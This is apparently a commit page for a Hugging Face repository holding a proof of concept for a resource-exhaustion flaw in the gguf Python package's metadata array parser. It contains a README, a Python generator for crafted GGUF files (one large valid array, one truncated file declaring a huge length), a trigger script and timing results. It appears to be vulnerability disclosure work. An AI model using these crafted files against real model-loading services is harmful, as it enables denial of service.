pragnyanramtha commited on
Commit
2f4202a
·
verified ·
1 Parent(s): d4e5f90

Upload folder using huggingface_hub

Browse files
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ artifacts/valid_uint8_array_250000.gguf filter=lfs diff=lfs merge=lfs -text
README.md ADDED
@@ -0,0 +1,86 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # GGUF Python Reader Metadata Array DoS PoC
2
+
3
+ This repository contains benign GGUF metadata-only files that reproduce resource-exhaustion behavior in the official `gguf` Python package.
4
+
5
+ ## Summary
6
+
7
+ `gguf.GGUFReader` parses GGUF array metadata by recursing once per array element and appending one numpy view per element. A small GGUF file with a valid `UINT8` metadata array therefore causes disproportionate CPU and memory use during model metadata loading. A truncated GGUF that declares an extremely large array length also makes the parser keep iterating without advancing because reads past EOF return empty numpy views.
8
+
9
+ No file here contains executable code, tensor weights, network callbacks, persistence, credential access, or destructive behavior. The marker string is `GGUF_ARRAY_DOS_BENIGN_MARKER`.
10
+
11
+ ## Tested Versions
12
+
13
+ - Python 3.13.13 on Windows
14
+ - `gguf==0.19.0`
15
+ - `numpy==2.4.4`
16
+ - llama.cpp source inspected at `78fbbc2c0788efc8857a2c0dc9802ec689fa12c1`
17
+
18
+ Install command:
19
+
20
+ ```bash
21
+ python -m venv .venv
22
+ .venv/Scripts/python -m pip install -r requirements.txt
23
+ ```
24
+
25
+ On Linux/macOS, use `.venv/bin/python` instead of `.venv/Scripts/python`.
26
+
27
+ ## Reproduce
28
+
29
+ Generate fresh artifacts:
30
+
31
+ ```bash
32
+ .venv/Scripts/python make_gguf_array_pocs.py --out artifacts --valid-count 50000
33
+ ```
34
+
35
+ Run the trigger with a timeout-isolated child process:
36
+
37
+ ```bash
38
+ .venv/Scripts/python trigger_gguf_array_dos.py artifacts/baseline_small_array.gguf artifacts/valid_uint8_array_50000.gguf artifacts/truncated_huge_uint8_array.gguf --timeout 8
39
+ ```
40
+
41
+ Expected result:
42
+
43
+ - `baseline_small_array.gguf` parses quickly.
44
+ - `valid_uint8_array_50000.gguf` is only about 50 KB but creates 50,005 field parts and tens of MB of Python allocations.
45
+ - `truncated_huge_uint8_array.gguf` is 140 bytes and times out rather than failing fast.
46
+
47
+ ## Included Evidence
48
+
49
+ `array_dos_results_versioned.json`:
50
+
51
+ - Baseline 141-byte file: `elapsed_sec=0.0009319999990111683`, `tracemalloc_peak_bytes=28813`
52
+ - Valid 50,131-byte file: `elapsed_sec=1.5484974999999395`, `tracemalloc_peak_bytes=35335086`
53
+ - Truncated 140-byte file: timed out at 8 seconds
54
+
55
+ `array_dos_results_with_memory.json`:
56
+
57
+ - Valid 250,131-byte file: `elapsed_sec=12.744927899999311`, `tracemalloc_peak_bytes=176169251`
58
+
59
+ ## Artifact Hashes
60
+
61
+ - `artifacts/baseline_small_array.gguf`: `ef66b68d7d9f9690c1c6c27380c5349f435af7ba1d7aebb0dc47cda33f69b12c`
62
+ - `artifacts/valid_uint8_array_50000.gguf`: `ead20680b54f62ac1da0cea39fc5f0dc4e0a6ae5e7b0b6b07b22007b7b389e62`
63
+ - `artifacts/valid_uint8_array_250000.gguf`: `530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e`
64
+ - `artifacts/truncated_huge_uint8_array.gguf`: `fd98c113e14b2d0212043da98ee1c3cfb369823d99bc41e143fd14bda1390254`
65
+
66
+ ## Vulnerable Code Path
67
+
68
+ In `gguf/gguf_reader.py`, `_get_field_parts()` reads `alen` from the file and then loops over every element:
69
+
70
+ ```python
71
+ for idx in range(alen[0]):
72
+ curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
73
+ aparts += curr_parts
74
+ data_idxs += (idx + idxs_offs for idx in curr_idxs)
75
+ offs += curr_size
76
+ ```
77
+
78
+ There is no file-size bound check or bulk scalar-array read. For truncated files, `_get()` returns empty arrays, `curr_size` stays `0`, and the loop continues.
79
+
80
+ ## Upload Command
81
+
82
+ If authenticated:
83
+
84
+ ```bash
85
+ huggingface-cli upload YOUR_USERNAME/gguf-python-array-dos-poc C:/Users/Pragnyan/dev/huntr-exp1/ggml/hf_ggml_poc . --repo-type model
86
+ ```
array_dos_results_versioned.json ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [
2
+ {
3
+ "path": "lab\\artifacts\\baseline_small_array.gguf",
4
+ "timeout_sec": 8.0,
5
+ "wall_sec": 0.3960464999981923,
6
+ "returncode": 0,
7
+ "stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0009319999990111683, \"tracemalloc_peak_bytes\": 28813, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
8
+ "stderr_tail": "",
9
+ "parsed": {
10
+ "gguf": "0.19.0",
11
+ "numpy": "2.4.4",
12
+ "elapsed_sec": 0.0009319999990111683,
13
+ "tracemalloc_peak_bytes": 28813,
14
+ "field_count": 5,
15
+ "array_key": "huntr.small_array",
16
+ "array_part_count": 21,
17
+ "array_data_indexes": 16
18
+ }
19
+ },
20
+ {
21
+ "path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
22
+ "timeout_sec": 8.0,
23
+ "wall_sec": 1.9691593999996257,
24
+ "returncode": 0,
25
+ "stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 1.5484974999999395, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
26
+ "stderr_tail": "",
27
+ "parsed": {
28
+ "gguf": "0.19.0",
29
+ "numpy": "2.4.4",
30
+ "elapsed_sec": 1.5484974999999395,
31
+ "tracemalloc_peak_bytes": 35335086,
32
+ "field_count": 5,
33
+ "array_key": "huntr.valid_uint8_array",
34
+ "array_part_count": 50005,
35
+ "array_data_indexes": 50000
36
+ }
37
+ },
38
+ {
39
+ "path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
40
+ "timeout_sec": 8.0,
41
+ "timed_out": true,
42
+ "wall_sec": 8.020367699999042,
43
+ "stdout": "",
44
+ "stderr_tail": ""
45
+ }
46
+ ]
array_dos_results_with_memory.json ADDED
@@ -0,0 +1,82 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [
2
+ {
3
+ "path": "lab\\artifacts\\baseline_small_array.gguf",
4
+ "timeout_sec": 30.0,
5
+ "wall_sec": 0.47702859999844804,
6
+ "returncode": 0,
7
+ "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0018849999978556298, \"tracemalloc_peak_bytes\": 28768, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
8
+ "stderr_tail": "",
9
+ "parsed": {
10
+ "gguf": "unknown",
11
+ "numpy": "2.4.4",
12
+ "elapsed_sec": 0.0018849999978556298,
13
+ "tracemalloc_peak_bytes": 28768,
14
+ "field_count": 5,
15
+ "array_key": "huntr.small_array",
16
+ "array_part_count": 21,
17
+ "array_data_indexes": 16
18
+ }
19
+ },
20
+ {
21
+ "path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
22
+ "timeout_sec": 30.0,
23
+ "wall_sec": 2.80793629999971,
24
+ "returncode": 0,
25
+ "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 2.2086056000007375, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
26
+ "stderr_tail": "",
27
+ "parsed": {
28
+ "gguf": "unknown",
29
+ "numpy": "2.4.4",
30
+ "elapsed_sec": 2.2086056000007375,
31
+ "tracemalloc_peak_bytes": 35335086,
32
+ "field_count": 5,
33
+ "array_key": "huntr.valid_uint8_array",
34
+ "array_part_count": 50005,
35
+ "array_data_indexes": 50000
36
+ }
37
+ },
38
+ {
39
+ "path": "lab\\artifacts_100k\\valid_uint8_array_100000.gguf",
40
+ "timeout_sec": 30.0,
41
+ "wall_sec": 5.2035122999986925,
42
+ "returncode": 0,
43
+ "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 4.476508499999909, \"tracemalloc_peak_bytes\": 70404912, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 100005, \"array_data_indexes\": 100000}",
44
+ "stderr_tail": "",
45
+ "parsed": {
46
+ "gguf": "unknown",
47
+ "numpy": "2.4.4",
48
+ "elapsed_sec": 4.476508499999909,
49
+ "tracemalloc_peak_bytes": 70404912,
50
+ "field_count": 5,
51
+ "array_key": "huntr.valid_uint8_array",
52
+ "array_part_count": 100005,
53
+ "array_data_indexes": 100000
54
+ }
55
+ },
56
+ {
57
+ "path": "lab\\artifacts\\valid_uint8_array_250000.gguf",
58
+ "timeout_sec": 30.0,
59
+ "wall_sec": 13.607695599999715,
60
+ "returncode": 0,
61
+ "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 12.744927899999311, \"tracemalloc_peak_bytes\": 176169251, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 250005, \"array_data_indexes\": 250000}",
62
+ "stderr_tail": "",
63
+ "parsed": {
64
+ "gguf": "unknown",
65
+ "numpy": "2.4.4",
66
+ "elapsed_sec": 12.744927899999311,
67
+ "tracemalloc_peak_bytes": 176169251,
68
+ "field_count": 5,
69
+ "array_key": "huntr.valid_uint8_array",
70
+ "array_part_count": 250005,
71
+ "array_data_indexes": 250000
72
+ }
73
+ },
74
+ {
75
+ "path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
76
+ "timeout_sec": 30.0,
77
+ "timed_out": true,
78
+ "wall_sec": 30.04099270000006,
79
+ "stdout": "",
80
+ "stderr_tail": ""
81
+ }
82
+ ]
artifacts/baseline_small_array.gguf ADDED
Binary file (141 Bytes). View file
 
artifacts/truncated_huge_uint8_array.gguf ADDED
Binary file (140 Bytes). View file
 
artifacts/valid_uint8_array_250000.gguf ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e
3
+ size 250131
artifacts/valid_uint8_array_50000.gguf ADDED
Binary file (50.1 kB). View file
 
make_gguf_array_pocs.py ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Generate benign GGUF metadata-only parser stress files.
3
+
4
+ The files contain no executable payload and no tensor data. They only exercise
5
+ GGUF metadata array parsing in gguf.GGUFReader.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import argparse
11
+ import hashlib
12
+ import struct
13
+ from pathlib import Path
14
+
15
+
16
+ GGUF_TYPE_UINT8 = 0
17
+ GGUF_TYPE_STRING = 8
18
+ GGUF_TYPE_ARRAY = 9
19
+
20
+
21
+ def pack_str(value: bytes) -> bytes:
22
+ return struct.pack("<Q", len(value)) + value
23
+
24
+
25
+ def kv_string(key: str, value: str) -> bytes:
26
+ return (
27
+ pack_str(key.encode("utf-8"))
28
+ + struct.pack("<I", GGUF_TYPE_STRING)
29
+ + pack_str(value.encode("utf-8"))
30
+ )
31
+
32
+
33
+ def kv_uint8_array(key: str, n: int, include_data: bool) -> bytes:
34
+ data = b"\x41" * n if include_data else b""
35
+ return (
36
+ pack_str(key.encode("utf-8"))
37
+ + struct.pack("<I", GGUF_TYPE_ARRAY)
38
+ + struct.pack("<I", GGUF_TYPE_UINT8)
39
+ + struct.pack("<Q", n)
40
+ + data
41
+ )
42
+
43
+
44
+ def gguf(kvs: list[bytes]) -> bytes:
45
+ return b"GGUF" + struct.pack("<IQQ", 3, 0, len(kvs)) + b"".join(kvs)
46
+
47
+
48
+ def write_file(path: Path, content: bytes) -> None:
49
+ path.write_bytes(content)
50
+ digest = hashlib.sha256(content).hexdigest()
51
+ print(f"{path.name}\t{len(content)} bytes\tsha256={digest}")
52
+
53
+
54
+ def main() -> None:
55
+ parser = argparse.ArgumentParser()
56
+ parser.add_argument("--out", type=Path, default=Path("artifacts"))
57
+ parser.add_argument("--valid-count", type=int, default=250_000)
58
+ parser.add_argument("--huge-count", type=int, default=1 << 40)
59
+ args = parser.parse_args()
60
+
61
+ args.out.mkdir(parents=True, exist_ok=True)
62
+
63
+ marker = kv_string("huntr.marker", "GGUF_ARRAY_DOS_BENIGN_MARKER")
64
+ write_file(
65
+ args.out / "baseline_small_array.gguf",
66
+ gguf([marker, kv_uint8_array("huntr.small_array", 16, include_data=True)]),
67
+ )
68
+ write_file(
69
+ args.out / f"valid_uint8_array_{args.valid_count}.gguf",
70
+ gguf([marker, kv_uint8_array("huntr.valid_uint8_array", args.valid_count, include_data=True)]),
71
+ )
72
+ write_file(
73
+ args.out / "truncated_huge_uint8_array.gguf",
74
+ gguf([marker, kv_uint8_array("huntr.truncated_huge_uint8_array", args.huge_count, include_data=False)]),
75
+ )
76
+
77
+
78
+ if __name__ == "__main__":
79
+ main()
requirements.txt ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ gguf==0.19.0
2
+ numpy==2.4.4
trigger_gguf_array_dos.py ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Trigger script for benign GGUFReader array parsing behavior.
3
+
4
+ Runs each parse in a child process so a no-progress parse can be timed out
5
+ without destabilizing the caller.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import argparse
11
+ import json
12
+ import subprocess
13
+ import sys
14
+ import textwrap
15
+ import time
16
+ from pathlib import Path
17
+
18
+
19
+ PARSE_CODE = r"""
20
+ import json
21
+ import sys
22
+ import time
23
+ from importlib.metadata import version
24
+
25
+ import gguf
26
+ import numpy as np
27
+ import tracemalloc
28
+
29
+ tracemalloc.start()
30
+ start = time.perf_counter()
31
+ reader = gguf.GGUFReader(sys.argv[1], "r")
32
+ elapsed = time.perf_counter() - start
33
+ current, peak = tracemalloc.get_traced_memory()
34
+ array_field = None
35
+ for key, field in reader.fields.items():
36
+ if key.startswith("huntr.") and key.endswith("array"):
37
+ array_field = field
38
+ break
39
+ print(json.dumps({
40
+ "gguf": version("gguf"),
41
+ "numpy": np.__version__,
42
+ "elapsed_sec": elapsed,
43
+ "tracemalloc_peak_bytes": peak,
44
+ "field_count": len(reader.fields),
45
+ "array_key": array_field.name if array_field else None,
46
+ "array_part_count": len(array_field.parts) if array_field else None,
47
+ "array_data_indexes": len(array_field.data) if array_field else None,
48
+ }))
49
+ """
50
+
51
+
52
+ def run_one(path: Path, timeout: float) -> dict[str, object]:
53
+ start = time.perf_counter()
54
+ try:
55
+ proc = subprocess.run(
56
+ [sys.executable, "-c", PARSE_CODE, str(path)],
57
+ text=True,
58
+ capture_output=True,
59
+ timeout=timeout,
60
+ check=False,
61
+ )
62
+ elapsed = time.perf_counter() - start
63
+ result: dict[str, object] = {
64
+ "path": str(path),
65
+ "timeout_sec": timeout,
66
+ "wall_sec": elapsed,
67
+ "returncode": proc.returncode,
68
+ "stdout": proc.stdout.strip(),
69
+ "stderr_tail": proc.stderr.strip()[-1000:],
70
+ }
71
+ if proc.stdout.strip().startswith("{"):
72
+ result["parsed"] = json.loads(proc.stdout)
73
+ return result
74
+ except subprocess.TimeoutExpired as exc:
75
+ return {
76
+ "path": str(path),
77
+ "timeout_sec": timeout,
78
+ "timed_out": True,
79
+ "wall_sec": time.perf_counter() - start,
80
+ "stdout": (exc.stdout or "").strip() if isinstance(exc.stdout, str) else "",
81
+ "stderr_tail": (exc.stderr or "").strip()[-1000:] if isinstance(exc.stderr, str) else "",
82
+ }
83
+
84
+
85
+ def main() -> None:
86
+ parser = argparse.ArgumentParser()
87
+ parser.add_argument("paths", nargs="+", type=Path)
88
+ parser.add_argument("--timeout", type=float, default=5.0)
89
+ parser.add_argument("--out", type=Path)
90
+ args = parser.parse_args()
91
+
92
+ results = [run_one(path, args.timeout) for path in args.paths]
93
+ rendered = json.dumps(results, indent=2)
94
+ print(rendered)
95
+ if args.out:
96
+ args.out.parent.mkdir(parents=True, exist_ok=True)
97
+ args.out.write_text(rendered + "\n", encoding="utf-8")
98
+
99
+
100
+ if __name__ == "__main__":
101
+ main()